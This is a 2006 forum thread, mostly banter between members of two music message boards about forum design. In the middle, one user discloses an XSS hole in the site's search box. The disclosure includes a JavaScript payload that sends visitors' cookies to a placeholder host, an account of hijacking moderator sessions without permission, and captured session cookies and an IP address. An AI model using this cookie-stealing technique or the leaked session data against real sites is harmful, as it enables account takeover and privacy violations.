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offline JAroen from the pineal gland on 2006-12-04 14:44 [#02012630]
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it was easier to ddos joyrex' place than it was to crash
xlt. so there.


 

offline giginger from Milky Beans (United Kingdom) on 2006-12-04 14:51 [#02012633]
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I used to do it by visiting the forum.


 

offline Phobiazero from the next Xltronic (Sweden) on 2006-12-04 15:01 [#02012645]
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nice banner, giginger! :)


 

offline DiaZoHeXagoN from The city of angels (United States) on 2006-12-04 15:34 [#02012659]
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I was wondering where he went, I always liked him and his
music. anyone care to explain what happened, or is this not
a good thing to discuss? Sorry no disrepect, im just
curious where panda went...


 

offline giginger from Milky Beans (United Kingdom) on 2006-12-04 16:42 [#02012684]
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I feel it oozes Web2.0


 

offline Drunken Mastah from OPPERKLASSESVIN!!! (Norway) on 2006-12-04 16:43 [#02012688]
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is it that css effect thingie? I remember some site you
linked once...


 

offline Phobiazero from the next Xltronic (Sweden) on 2006-12-04 16:50 [#02012697]
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hehe..... well, at least we're gonna try to avoid all the
fun
and hyped up 2.0-ish colorschemes (green, pink, blue etc)


 

offline stefano_azevedo from Pindorama (Brazil) on 2006-12-04 16:54 [#02012701]
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watmm makes my eyes hurt


 

offline giginger from Milky Beans (United Kingdom) on 2006-12-04 17:03 [#02012725]
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That site is gone or else I'd have used that. Would've
looked nicer too.


 

offline Chin Bwoy Phat from London (United Kingdom) on 2006-12-05 05:05 [#02012889]
Points: 574 Status: Lurker



watmm is lovely. xlt is lovely. can't we just all get
along?

p.s. fuck off


 

offline obara from Utrecht on 2006-12-05 05:09 [#02012891]
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stop this thread please


 

offline Rostasky from United States on 2006-12-05 06:03 [#02012897]
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They don't have very creative avatars is all I'm gonna say.


 

offline Chin Bwoy Phat from London (United Kingdom) on 2006-12-05 06:05 [#02012898]
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you referring to mine? yes, it's rubbish. i thank you....


 

offline xceque on 2006-12-05 06:18 [#02012900]
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The xlt vs watmm debate:


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offline hma from real life on 2006-12-05 06:20 [#02012901]
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keep in mind, you do have at least one major security hole,
the XSS on your search function. In fact, as I post this, I
am not actually HMA but someone else using a proxy server.
Check my ip address, Im sure it can be done. I also have
valid sessionID as horsefactory. I used to have a valid
login for you, Phobiazero, but either recently you logged
out and logged back in, invalidating your cookies, or you
figured out I was logged in as you every day for the past 2
weeks or so. In any case, what I did was as following.
in the search box if put a "> you can add html after that,
so I injected javascript to point to some freewebspace as
so:
"http://nonexistantwebsitethatdoesntexist.com/folder/evilph
p.php?cookies=" . document.cookie;, and then posting the
link that said "hey, theres something wrong with your search
function.". The first time I did this with my actual ulcresh
login, and 2 people followed the link, HMA and Horsefactory,
and a couple guests.
There was this whole little thing with Dog_Belch, who by
being a dick was actually more intelligent than some others.
I used the HMA account to repost a similar hacked link a
couple weeks later. 1 non-guest clicked it. Phobiazero. It
was very fun to see all the moderator buttons. They seem
very underpowered to be honest and I agree with the
assessment that you need to improve them.
However, requiring typing the password to change the profile
is very secure, good job on that.
Here are the full log files (edited to keep the important
info and remove guests):
(this is hma)

Opera/8.54 (Windows NT 5.1; U; en)
---
(this is my ULCRESH login, yes, thats right, I just gave
ANYONE the ability to log in as ULCRESH)
AFX_NU_SESSION=

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1)
Gecko/20061010 Firefox/2.0
---
(horsefactory)

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1)
Gecko/20061010 Firefox/2.0

stupid post character limit. FIX THAT.


 

offline DirtyPriest from Copenhagen (Denmark) on 2006-12-05 06:23 [#02012902]
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You should probably mail that, instead of posting it


 

offline horsefactory from 💠 (United Kingdom) on 2006-12-05 06:24 [#02012903]
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anyway, to continue my post as horsefactory:
-------------------
(this is phobiazero)
his cookies that are no longer valid:
__utma=96777942.1310899365.1164665989.1164835731.1164871283
.13; APHEXTWIN_MBOARD_ORDERCHOICE=DESC;
__utmz=96777942.1164665989.1.1.utmccn=(direct)|utmcsr=(dire
AFX_NU_SESSION=b61bc043e54f32bd954f3df2a6e8e687.1;
ct)|utmcmd=(none); __utmb=96777942; __utmc=96777942
219.65.132.1
Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.1)
Gecko/20061010 Firefox/2.0

You really should fix that.
I was gonna log in as Phobiazero and make an "I love WATMM
and XLTV2 is vaporware" post, but I was no longer able to.

this is unfortunate.

if youre going to write web applications, KNOW something
about security, especially since this runs on PHP v3.
Read up on XSS, SQL Injection, RFI, etc.


 

offline horsefactory from 💠 (United Kingdom) on 2006-12-05 06:26 [#02012905]
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ps, why can't moderators see people's IP addresses and user
agents, stuff like that is useful.


 

offline horsefactory from 💠 (United Kingdom) on 2006-12-05 06:31 [#02012906]
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also, I did 4 things with these logins:
1) delete my HMA post which Phobiazero had clicked on.
2) I accidentally posted as horsefactory a while back,
because I thought I was ULCRESH, he posted right after that
saying "I did not post that"
3) I banned some random person that hasn't logged in for
several months, just to try it out.
4) I closed some thread, just to try it out.

I think that was it.
I could've theoretically banned all of your moderators.


 

offline xceque on 2006-12-05 06:34 [#02012909]
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Lovely. Thanks for not doing that.


 

offline giginger from Milky Beans (United Kingdom) on 2006-12-05 06:34 [#02012910]
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Well, that's certainly amusing.


 

offline giginger from Milky Beans (United Kingdom) on 2006-12-05 06:40 [#02012912]
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In other news. Zilty has taken to looking like this at work.
Despite hard refreshing and clearing of cache.

Pic


 

offline xceque on 2006-12-05 06:44 [#02012913]
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"Newest message first!"


 

offline giginger from Milky Beans (United Kingdom) on 2006-12-05 06:45 [#02012914]
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Hell yes. For some reason that works for me on Zilty.


 

offline xceque on 2006-12-05 06:48 [#02012916]
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That's like, such a totally rad and awesome concept, dude. I
can't get my head around the paradigm shift. Dude!


 

offline redrum from the allman brothers band (Ireland) on 2006-12-05 06:51 [#02012918]
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haha :)

good stuff and well written.


 

offline furoi from Udine (Eriko Sato's undies) (Italy) on 2006-12-05 06:54 [#02012921]
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it's because of my profile infos

Namastè



 

offline giginger from Milky Beans (United Kingdom) on 2006-12-05 07:01 [#02012923]
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Gnarly!


 

offline chaosmachine from Ottawa (Canada) on 2006-12-05 07:59 [#02012945]
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nice xss..

so why aren't sessions validated against ip addresses?.. if
the ip has changed since the session was created, you should
be required to log back in..


 

offline elusive from detroit (United States) on 2006-12-05 09:06 [#02012977]
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good stuff here :)

and phob, keep this board minimal.
i don't want stupid-emoticons, edit buttons, quote buttons,
sup buttons, howdy buttons, howru buttons,

or anything else . most sites are so damn bloated these
days :(


 

offline Phobiazero from the next Xltronic (Sweden) on 2006-12-05 09:57 [#02012987]
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ah yeah, the beta-search... we've added some protection for
that now.

as for ip <-> sessions....... xltv2. i'm sure ppl are
prepared to sacrify some laziness in order to get some
tighter security.

as for ULCRESH: feel free to contact me per email/icq/aim
for some further discussions/cooperation. i appreciate your
efforts in finding out the bug. we're not using php3 tho...
:)


 

offline oyvinto on 2006-12-05 10:38 [#02013007]
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good to hear that you won't go commercial with the forum
phobs. the custom mb as xlt is, is one of the few reasons i
like it here.


 

offline Joyrex from watmm.com (United States) on 2006-12-05 11:38 [#02013042]
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PWN


 

offline giginger from Milky Beans (United Kingdom) on 2006-12-05 11:42 [#02013043]
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Of course there's never been any hacks for the Invision
Power Board.


 

offline chaosmachine from Ottawa (Canada) on 2006-12-05 11:44 [#02013044]
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lol..


 

offline Joyrex from watmm.com (United States) on 2006-12-05 11:48 [#02013049]
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Let's see if I can follow up to your broken English reply
(if there was a proper quote feature I could use that, but
oh well... also, I had to do this in two posts since you
have a post limit "feature" in place...)

sorry to disappoint you, joyrex...

[You haven't - I was just making an observation/suggestion
you took way too seriously]

i believe in our concept/forum just as hard as you believe
in mainstream and commercial forums...

[That's great - no problem there]

to be honest, i feel sick everytime i see a forum from
"one-of-the-three-messageboard-companies". it's prolly the
scandinavian, minimalistic side of me.

[I agree with you on that - most out of the box forums tend
to go overboard on features, but most of them allow you to
turn things off as they are not needed. So, if I wished, I
could make our forum follow a direct, minimalist edict. I
actually tried using the forums that came built into the CMS
I use for WATMM, but most users missed those features they
had gotten used to with the prior forum, so we went back. I
see this here occasionally when people ask for common forum
features that this one doesn't have. You then have to make
the choice of making the majority happy, or stick to your
guns and ignore user needs. Hard choice, IMO.

but to nail the issue....
we can add a myriads of features and functions, but we
choose to implement only stuff that makes sense.

[As you should... no argument there]

do you really think the lack of an edit-button is a
technical
issue due to our "custom" system?

[No, of course not - I just find it odd that a basic feature
like editing is still not implemented. I wonder how many
posts are followups to what could have been corrected with
an edit feature.]

no. i've dismissed the idea of having an edit-feature just
as long you've known html - due to various reasons (use the
search-feature to find my previous rantings on this).

[Understood - just I think something as basic as editing
would be worth considering, even if limite


 

offline Drunken Mastah from OPPERKLASSESVIN!!! (Norway) on 2006-12-05 11:50 [#02013051]
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jeg skal pakke deg inn i bobleplast og pule morra di skal
jeg


 

offline horsefactory from 💠 (United Kingdom) on 2006-12-05 11:50 [#02013052]
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haha, wow


 

offline Joyrex from watmm.com (United States) on 2006-12-05 11:55 [#02013053]
Points: 1389 Status: Lurker



d in time (like on our forums).]

as for better tools for the admins, yeah... xltv2 will take
care of that. we removed some of the admin-tools due to the
infamous Virginpusher-scandal a couple of months ago.
imagine a mod on drugs, feeling hatress against his
webmaster, and at the same time having the power of
deleting
entire threads with a single click! well, we just thought
we
would disable these features for a while. it's not like we
don't trust our current team of mods, but xltv2 is having a
more enhanced set of admin-tools.

[See, there you go - if one of my mods were to go apeshit, I
could just disable his or her account, rather than cripple
my othe r mods. That's really more a matter of choosing
people you can trust, though.]

was that one of the issues with our custom software,
joyrex?

i've personally seen ALOT more complains towards your forum
than against xltronic/mb (maybe because i hardly visit
watmm).

[You're right - in fact, I can't recall the last time I got
a complaint about the forum itself]

(slow, ugly, clumsy, unstable and what's more...)
but at least you can EDIT messages - HELL YEAH! :)

[That's a bit immature (but expected) - the forum is not
slow, ugly is only due to my lack of taking the time to
customize the look, and clumsy is a matter of opinion,
really - the majority of forum users have no problem with
the interface, and it was developed with a larger testbed of
users than XLT will ever have, FYI]. Unstable is totally
off-base considering many large companies put lots of money
behind using these forums - they simply wouldn't if that was
the case, and we can do a LOT more than just edit.]

actually, i don't understand why you're still spreading
your
annoying, commercial pep-talk here after all these years...

[Just a friendly suggestion/observation - and it's not like
I do this all the time]


 

offline Joyrex from watmm.com (United States) on 2006-12-05 11:57 [#02013054]
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why don't you try to get some distance to your own "mess"
over there? you don't have to answer that btw - i know it's
like a nail in the eye. believe me.

[Not really - and since I can't understand your meaning
there (I don't fault you for English not being your native
language), I really can't say much other than I tend to be
more helpful to others than myself - a bit of a failing on
my part, really...]

well, time will tell...

[It always does, Mattias, it always does :) ]


 

offline Joyrex from watmm.com (United States) on 2006-12-05 11:59 [#02013057]
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That would be nice if I knew what it said, but I don't
pretend to know Swedish.


 

offline Sclah from Freudian Slipmat on 2006-12-05 12:06 [#02013059]
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He wants to purchase bubblewrap and congratulate your mother


 

offline xceque on 2006-12-05 12:23 [#02013067]
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Once more...


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offline ToXikFB on 2006-12-05 12:23 [#02013068]
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LAZY_TITLE


 

offline vlari from beyond the valley of the LOLs on 2006-12-05 12:28 [#02013072]
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please dont hack my account i post enough rubbish as it is


 

offline dave_g from United Kingdom on 2006-12-05 13:10 [#02013084]
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Edit features are rubbish. The fact that people have to post
a follow up maintains a chronological relationship in the
thread, which is easy to follow.

I dislike the design of message boards which have multiple
seperate sub forums, it's too divergent.
For example, I want to scan down for a topic from yesterday.
I can't search for it because I cannot remember what it was
(this is hypothetical), however I will recognise it when I
see it.
On a single forum, I scroll down from the latest post until
the posts from yesterday, and I will see it.

On a multi sub forum one, I potentially have to do that on
all the forums.

Also unless you look at each forum, you could miss a good
topic, wheras on here, it is pretty obvious because it's all
on one page.

The whole look of watmm is cluttered imo. Too many buttons,
too many signatures, images on the end of EVERY post by a
user and general crap. I use the mouse wheel and my eye to
judge the scroll per content amount, and I think xlt wins.

- - -

Although there may be bugs, one has to commend Phobia and
Tune on the fine job done on this site. Perhaps it is
idiosynchratic, but it's how they want it. If it's so bad,
surely people won't come and it will die out? (natural
selection et al).

Joyrex:
I think it's quite counter productive and a bit petty to
come on here and troll around.

"(stand with arms outstretched, awaiting XLT firing squad)"

surely that is not how you end a productive post?
I know there is history, but perhaps keep quiet or say to
Phob you're sorry people are abusing the board, and perhaps
show some empathy, I'm sure people have abused watmm and I
bet you didn't like it.
Anyway, life is too short, less hate, more love.....



 

offline w M w from London (United Kingdom) on 2006-12-05 13:21 [#02013089]
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I would have paid $200 for that information if nobody else
knew still. I would have sold it to sneakattack for $400,
and xltronic as we know it would be no more, muah ha ha ha.


 

offline stefano_azevedo from Pindorama (Brazil) on 2006-12-05 13:30 [#02013091]
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ugly is only due to my lack of taking the time to
customize the look, and clumsy is a matter of opinion,
really - the majority of forum users have no problem with
the interface, and it was developed with a larger testbed
of
users than XLT will ever have, FYI


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offline stefano_azevedo from Pindorama (Brazil) on 2006-12-05 13:31 [#02013092]
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if there was a proper quote feature I could use that, but
oh well...


 

offline elusive from detroit (United States) on 2006-12-05 13:54 [#02013102]
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there is an edit button
it's called PREVIEW



 


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